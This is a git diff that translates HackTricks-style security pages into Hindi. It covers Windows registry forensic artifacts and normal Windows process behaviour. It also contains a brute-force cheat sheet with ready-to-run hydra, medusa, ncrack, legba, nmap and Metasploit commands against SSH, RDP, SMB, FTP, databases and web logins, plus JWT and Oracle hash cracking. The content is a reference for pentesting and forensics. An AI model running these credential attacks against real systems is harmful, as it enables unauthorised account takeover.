जाते हैं। -### **Recent Documents and Office Files** +### **हाल के दस्तावेज़ और ऑफिस फ़ाइलें** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- हाल के दस्तावेज़ और एक्सेस की गई ऑफिस फ़ाइलें `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` और विशिष्ट ऑफिस संस्करण पथों में नोट की जाती हैं। -### **Most Recently Used (MRU) Items** +### **सबसे हाल में उपयोग किए गए (MRU) आइटम** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- MRU सूचियाँ, जो हाल के फ़ाइल पथ और कमांड को इंगित करती हैं, विभिन्न `ComDlg32` और `Explorer` उपकुंजियों में `NTUSER.DAT` के तहत संग्रहीत होती हैं। -### **User Activity Tracking** +### **उपयोगकर्ता गतिविधि ट्रैकिंग** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- यूजर असिस्ट फ़ीचर विस्तृत एप्लिकेशन उपयोग आँकड़े लॉग करता है, जिसमें रन गिनती और अंतिम रन समय शामिल है, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`** में। -### **Shellbags Analysis** +### **शेलबैग्स विश्लेषण** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- शेलबैग्स, जो फ़ोल्डर एक्सेस विवरण प्रकट करते हैं, `USRCLASS.DAT` और `NTUSER.DAT` में `Software\Microsoft\Windows\Shell` के तहत संग्रहीत होते हैं। विश्लेषण के लिए **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** का उपयोग करें। -### **USB Device History** +### **USB उपकरण इतिहास** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** और **`HKLM\SYSTEM\ControlSet001\Enum\USB`** में जुड़े USB उपकरणों के बारे में समृद्ध विवरण होते हैं, जिसमें निर्माता, उत्पाद नाम, और कनेक्शन टाइमस्टैम्प शामिल हैं। +- एक विशिष्ट USB उपकरण से जुड़े उपयोगकर्ता को उस उपकरण के **{GUID}** के लिए `NTUSER.DAT` हाइव में खोजकर पहचाना जा सकता है। +- अंतिम माउंटेड उपकरण और इसका वॉल्यूम सीरियल नंबर `System\MountedDevices` और `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` के माध्यम से क्रमशः ट्रेस किया जा सकता है। -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +यह गाइड Windows सिस्टम पर विस्तृत सिस्टम, नेटवर्क, और उपयोगकर्ता गतिविधि जानकारी तक पहुँचने के लिए महत्वपूर्ण पथों और विधियों को संक्षेप में प्रस्तुत करता है, स्पष्टता और उपयोगिता के लिए लक्ष्य बनाते हुए। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..4e1125e07 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -2,105 +2,105 @@ ## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**सत्र प्रबंधक**।\ +सत्र 0 **csrss.exe** और **wininit.exe** (**OS** **सेवाएँ**) शुरू करता है जबकि सत्र 1 **csrss.exe** और **winlogon.exe** (**उपयोगकर्ता** **सत्र**) शुरू करता है। हालाँकि, आपको प्रक्रियाओं के पेड़ में उस **बाइनरी** की **केवल एक प्रक्रिया** देखनी चाहिए जिसमें बच्चे न हों। -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +इसके अलावा, 0 और 1 के अलावा सत्र का मतलब हो सकता है कि RDP सत्र हो रहे हैं। ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**क्लाइंट/सर्वर रन सबसिस्टम प्रक्रिया**।\ +यह **प्रक्रियाओं** और **थ्रेड्स** का प्रबंधन करता है, अन्य प्रक्रियाओं के लिए **Windows** **API** उपलब्ध कराता है और **ड्राइव लेटर** मैप करता है, **टेम्प फ़ाइलें** बनाता है, और **शटडाउन** **प्रक्रिया** को संभालता है। -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +सत्र 0 में एक **चल रही है और सत्र 1 में एक और** (तो प्रक्रियाओं के पेड़ में **2 प्रक्रियाएँ**) हैं। एक और **नए सत्र** के लिए बनाई जाती है। ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Windows लॉगिन प्रक्रिया**।\ +यह उपयोगकर्ता **लॉगिन**/**लॉगऑफ** के लिए जिम्मेदार है। यह उपयोगकर्ता नाम और पासवर्ड के लिए पूछने के लिए **logonui.exe** लॉन्च करता है और फिर उन्हें सत्यापित करने के लिए **lsass.exe** को कॉल करता है। -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +फिर यह **userinit.exe** लॉन्च करता है जो **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** में **Userinit** कुंजी के साथ निर्दिष्ट है। -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +इसके अलावा, पिछले रजिस्ट्री में **explorer.exe** **शेल कुंजी** में होना चाहिए या इसे **मैलवेयर स्थिरता विधि** के रूप में दुरुपयोग किया जा सकता है। ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Windows प्रारंभिक प्रक्रिया**। \ +यह सत्र 0 में **services.exe**, **lsass.exe**, और **lsm.exe** लॉन्च करता है। केवल 1 प्रक्रिया होनी चाहिए। ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Userinit लॉगिन एप्लिकेशन**।\ +**HKCU** में **ntduser.dat** लोड करता है और **उपयोगकर्ता** **पर्यावरण** को प्रारंभ करता है और **लॉगिन** **स्क्रिप्ट** और **GPO** चलाता है। -It launches **explorer.exe**. +यह **explorer.exe** लॉन्च करता है। ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**स्थानीय सत्र प्रबंधक**।\ +यह उपयोगकर्ता सत्रों को प्रबंधित करने के लिए smss.exe के साथ काम करता है: लॉगिन/लॉगऑफ, शेल प्रारंभ, लॉक/अनलॉक डेस्कटॉप, आदि। -After W7 lsm.exe was transformed into a service (lsm.dll). +W7 के बाद lsm.exe को एक सेवा (lsm.dll) में बदल दिया गया था। -There should only be 1 process in W7 and from them a service running the DLL. +W7 में केवल 1 प्रक्रिया होनी चाहिए और उनमें से एक सेवा जो DLL चला रही है। ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**सेवा नियंत्रण प्रबंधक**।\ +यह **सेवाओं** को **ऑटो-स्टार्ट** और **ड्राइवरों** के रूप में **लोड** करता है। -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +यह **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** और कई अन्य का मूल प्रक्रिया है। -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +सेवाएँ `HKLM\SYSTEM\CurrentControlSet\Services` में परिभाषित हैं और यह प्रक्रिया सेवा जानकारी का एक DB मेमोरी में बनाए रखती है जिसे sc.exe द्वारा क्वेरी किया जा सकता है। -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +ध्यान दें कि **कुछ** **सेवाएँ** एक **अपनी प्रक्रिया में** चल रही होंगी और अन्य **svchost.exe प्रक्रिया** साझा कर रही होंगी। -There should only be 1 process. +केवल 1 प्रक्रिया होनी चाहिए। ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**स्थानीय सुरक्षा प्राधिकरण सबसिस्टम**।\ +यह उपयोगकर्ता **प्रमाणीकरण** के लिए जिम्मेदार है और **सुरक्षा** **टोकन** बनाता है। यह `HKLM\System\CurrentControlSet\Control\Lsa` में स्थित प्रमाणीकरण पैकेज का उपयोग करता है। -It writes to the **Security** **event** **log** and there should only be 1 process. +यह **सुरक्षा** **इवेंट** **लॉग** में लिखता है और केवल 1 प्रक्रिया होनी चाहिए। -Keep in mind that this process is highly attacked to dump passwords. +ध्यान रखें कि इस प्रक्रिया पर पासवर्ड डंप करने के लिए उच्च हमले होते हैं। ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**सामान्य सेवा होस्ट प्रक्रिया**।\ +यह एक साझा प्रक्रिया में कई DLL सेवाओं की मेज़बानी करता है। -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +आमतौर पर, आप पाएंगे कि **svchost.exe** `-k` ध्वज के साथ लॉन्च किया गया है। यह रजिस्ट्री **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** में एक क्वेरी लॉन्च करेगा जहाँ -k में उल्लेखित तर्क के साथ एक कुंजी होगी जो उसी प्रक्रिया में लॉन्च करने के लिए सेवाओं को शामिल करेगी। -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +उदाहरण: `-k UnistackSvcGroup` लॉन्च करेगा: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +यदि **ध्वज `-s`** भी एक तर्क के साथ उपयोग किया जाता है, तो svchost से **केवल निर्दिष्ट सेवा** को इस तर्क में लॉन्च करने के लिए कहा जाता है। -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +`svchost.exe` की कई प्रक्रियाएँ होंगी। यदि इनमें से कोई भी **`-k` ध्वज** का उपयोग नहीं कर रहा है, तो यह बहुत संदिग्ध है। यदि आप पाते हैं कि **services.exe मूल प्रक्रिया नहीं है**, तो यह भी बहुत संदिग्ध है। ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +यह प्रक्रिया DLLs से चलने वाली प्रक्रियाओं के लिए एक होस्ट के रूप में कार्य करती है। यह DLLs से चलने वाली सेवाओं को भी लोड करती है। -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +W8 में इसे taskhostex.exe कहा जाता है और W10 में taskhostw.exe। ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +यह प्रक्रिया **उपयोगकर्ता के डेस्कटॉप** और फ़ाइल एक्सटेंशन के माध्यम से फ़ाइलें लॉन्च करने के लिए जिम्मेदार है। -**Only 1** process should be spawned **per logged on user.** +**केवल 1** प्रक्रिया को **लॉग इन किए गए उपयोगकर्ता** के लिए **स्पॉन** किया जाना चाहिए। -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +यह **userinit.exe** से चलाया जाता है जिसे समाप्त किया जाना चाहिए, इसलिए इस प्रक्रिया के लिए **कोई मूल** नहीं होना चाहिए। -# Catching Malicious Processes +# दुर्भावनापूर्ण प्रक्रियाओं को पकड़ना -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- क्या यह अपेक्षित पथ से चल रहा है? (कोई Windows बाइनरी टेम्प स्थान से नहीं चलती) +- क्या यह अजीब IPs के साथ संचार कर रहा है? +- डिजिटल हस्ताक्षरों की जांच करें (Microsoft के आर्टिफैक्ट्स पर हस्ताक्षर होना चाहिए) +- क्या यह सही ढंग से लिखा गया है? +- क्या यह अपेक्षित SID के तहत चल रहा है? +- क्या मूल प्रक्रिया अपेक्षित है (यदि कोई हो)? +- क्या बच्चे प्रक्रियाएँ अपेक्षित हैं? (कोई cmd.exe, wscript.exe, powershell.exe..?) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..634bd1ce1 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ # Brute Force - CheatSheet -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - {{#include ../banners/hacktricks-training.md}} ## Default Credentials -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Google में खोजें** उस तकनीक के लिए डिफ़ॉल्ट क्रेडेंशियल्स, या **इन लिंक को आजमाएं**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **अपनी खुद की डिक्शनरी बनाएं** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +लक्ष्य के बारे में जितनी संभव हो सके जानकारी प्राप्त करें और एक कस्टम डिक्शनरी बनाएं। उपयोगी उपकरण: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +शिकार के बारे में आपके ज्ञान के आधार पर पासवर्ड उत्पन्न करें (नाम, तिथियाँ...) ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +एक शब्द सूची जनरेटर उपकरण, जो आपको शब्दों का एक सेट प्रदान करने की अनुमति देता है, जिससे आपको दिए गए शब्दों से कई भिन्नताएँ बनाने की संभावना मिलती है, एक अद्वितीय और आदर्श शब्द सूची बनाने के लिए जिसका उपयोग एक विशिष्ट लक्ष्य के संबंध में किया जा सके। ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,7 +65,6 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) ### Wordlists @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - ## Services -Ordered alphabetically by service name. +सेवा नाम के अनुसार वर्णानुक्रम में क्रमबद्ध। ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM और Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - -### Cassandra - +### कैसेंड्रा ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - -### Docker Registry - +### डॉकर रजिस्ट्री ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - ### HTTP Generic Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) ### HTTP Basic Auth - ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - -### HTTP - Post Form - +### HTTP - पोस्ट फॉर्म ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +http**s** के लिए आपको "http-post-form" से "**https-post-form" में बदलना होगा** -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla या (D)rupal या (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - -### ISCSI - +### आईएससीएसआई ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - -### Mongo - +### मोंगो ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +**oracle_login** को **patator** के साथ उपयोग करने के लिए आपको **install** करने की आवश्यकता है: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**संस्करण 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** और **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - -### POP - +### पीओपी ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,81 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +आप `.deb` पैकेज डाउनलोड कर सकते हैं जिसे [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) से इंस्टॉल किया जा सके। ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - -### Redis - +### रेडिस ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - -### SQL Server - +### SQL सर्वर ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +383,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +393,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### कमजोर SSH कुंजी / डेबियन पूर्वानुमानित PRNG -#### Weak SSH keys / Debian predictable PRNG +कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले यादृच्छिक बीज में ज्ञात दोष होते हैं। इसके परिणामस्वरूप कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) जैसे उपकरणों के साथ ब्रूटफोर्स किया जा सकता है। कमजोर कुंजियों के पूर्व-निर्मित सेट भी उपलब्ध हैं जैसे 